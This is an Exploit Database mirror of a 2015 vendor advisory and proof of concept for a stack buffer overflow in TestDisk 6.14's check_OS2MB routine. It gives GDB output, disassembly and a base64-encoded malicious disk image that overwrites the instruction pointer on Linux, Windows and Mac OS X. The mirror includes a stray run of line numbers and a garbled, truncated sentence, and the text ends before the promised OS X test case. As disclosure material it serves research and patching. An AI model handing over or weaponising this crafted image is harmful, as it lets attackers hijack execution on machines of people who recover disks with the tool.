TestDisk 6.14 – ‘Check_OS2MB’ Stack Buffer Overflow (PoC)

Exploit Database
128 阅读

作者： Security-Assessment.com

日期： 2015-05-01
类别：
- dos
平台：
- multiple
来源：https://www.exploit-db.com/exploits/36881/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

(, ) (,

. '.' ) ('.',

). , ('. ( ) (

(_,) .'), ) _ _,

/_____// _\________ _____

\____\==/ /_\\ _/ ___\/_ \ / \

/ \/ |\\\__(<_> )Y Y\

/______/\___|__/ \___>____/|__|_|/

\/ \/.-.\/ \/:wq

(x.0)

'=.|w|.='

_=''"''=.

presents..

TestDisk 6.14 Check_OS2MB Stack Buffer Overflow

Affected versions: TestDisk 6.14 - Linux, Windows and Mac OSX

PDF:

http://www.security-assessment.com/files/documents/advisory/Testdisk%20Check_OS2MB%20Stack%20Buffer%20Overflow%20-%20Release.pdf

+-----------+

|Description|

+-----------+

This document details a stack based buffer overflow vulnerability within TestDisk 6.14. A buffer overflow is triggered

within the software when a malicious disk image is attempted to be recovered. This may be leveraged by an

attacker to crash TestDisk and gain control of program execution. An attacker would have to coerce the victim to run

TestDisk against their malicious image.

+------------+

|Exploitation|

+------------+

The check_OS2MB method (fat.c, line 862) is vulnerable to a stack based buffer overflow. This is due to the 512

byte buffer 'buffer' (defined in fat.c, check_OS2MB method, line 864) being overflowed by a subsequent memcpy

call in the cache_pread_aux method (hdcache.c, line 109). The third argument to the memcpy call (defining the

amount of data to be copied) is controlled by the attacker, this is set in a header in the test case (offset 0xC in the

below testcase, set to 2048, or 0x0800).

The following GDB output shows the vulnerable memcpy call and the attacker controlled size argument (0x00000800):

Breakpoint 1, 0x0804e5c2 in cache_pread_aux (disk_car=0x80c13b0, buffer=0xbffff0f0, count=2048, offset=0, read_ahead=0) at hdcache.c:109

109memcpy(buffer, cache->buffer + offset - cache->cache_offset, count);

(gdb) x/i $eip

=> 0x804e5c2 <cache_pread_aux+298>:call 0x80499f0 <memcpy@plt>

(gdb) x/3x $esp

0xbffff010:0xbffff0f00x080c30000x00000800

The following base64 data contains the test case which results in EIP control, in this case EIP being set to

BEE5BEE5. The value EIP is overwritten with is at 0x20c

6zyQbWtkb3dmcwAACASOAAEAAIAQ+AEAAQABAAAAAOs8kG1rZAApj2Ji7SAgICAgICAgICAgRkFU

ICAgICAgIEZBVDEyICAgDh++W3ysIsB0C/Ay5M0ezRnr/lRoaXMgaXMgbm90IGEgYm9vdGFibGUg

ZGlzay4gIFBsZWFzZSBpbnNlcnQgYSBib290YWJsZSBmbG9wcHkgYW5kDQpwcmVzcyBhbnkga2V5

IHRvIHRyeSBhZ2FpbiAuLi5ADQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAA7v//f/8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADW1tbW1tbW1tbW1tbW1tbW

1tbW1tbW1tbW1tbW1tYAAAAAAAD+4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAA

AAAAAAAAAAAAAAD/D//pAAAA5gBAAAAAAAAAAB4AAAAAAAAAAAAAAPQAAAAAAOT98v//AAAAAAAA

AAAAEAD/AAAAAAAAAAAAAAAAAAAAgAAAAAUE/wAAAAAAAAAA7fcAAACAAAAAAAAAAAAABQAAAAAA

AAAAIwAAAACAAP/zAAAAAAQAAAAAAAAAAAAAAP8AAPj/ABcAAAAAAJaFhYWA/wAAAAAAAAAAVaoA

AAAAAAAAKY9iYu3lvuW+NAsGCA0K

--[ Linux

Note that in the provided test case, 4 bytes at 0x210 have been set to a valid address within the TEXT segment of

the TestDisk ELF file. This is due to GCC 4.7.2 compiling the Check_OS2MB method with the following assembly

code:

0x08060a8d <+71>:call *%ecx

0x08060a8f <+73>:mov%eax,%edx

0x08060a91 <+75>:mov0x8(%ebp),%eax

0x08060a94 <+78>:mov0x194(%eax),%eax

0x08060a9a <+84>:cmp%eax,%edx

0x08060a9c <+86>:je 0x8060ac5 <check_OS2MB+127>

The instruction 'mov 0x8(%ebp), %eax' (0x08060a91) moves an attacker controlled portion of memory into the EAX

legitimate address, otherwise TestDisk performs an out-of-bounds memory read before returning from the

check_OS2MB method.

As long as EDX and EAX do not match, the check_OS2MB method calls screen_buffer_add and log_redirect, then

jumps to the end of the check_OS2MB method, successfully exploiting stack overflow and gaining EIP control.

The precompiled version of TestDisk has been compiled with a stack protector. In order to exploit the precompiled

version, an attacker would have to find a way to bypass GCC’s '-fstack-protector' functionality

--[ Windows

The provided test case results in EIP being overwritten with 0xBEE5BEE5 in the precompiled version of TestDisk.

This was tested on Windows 7 and 8.1.

--[ Mac OSX

An attacker can also gain EIP control on the Mac OSX version of TestDisk 6.14, however the original test case

needs to be padded. The value EIP is overwritten with is at 0x21C in the OSX test case. The base64 of the OSX crash

test case is below. As in the above examples, EIP is overwritten with 0xBEE5BEE5.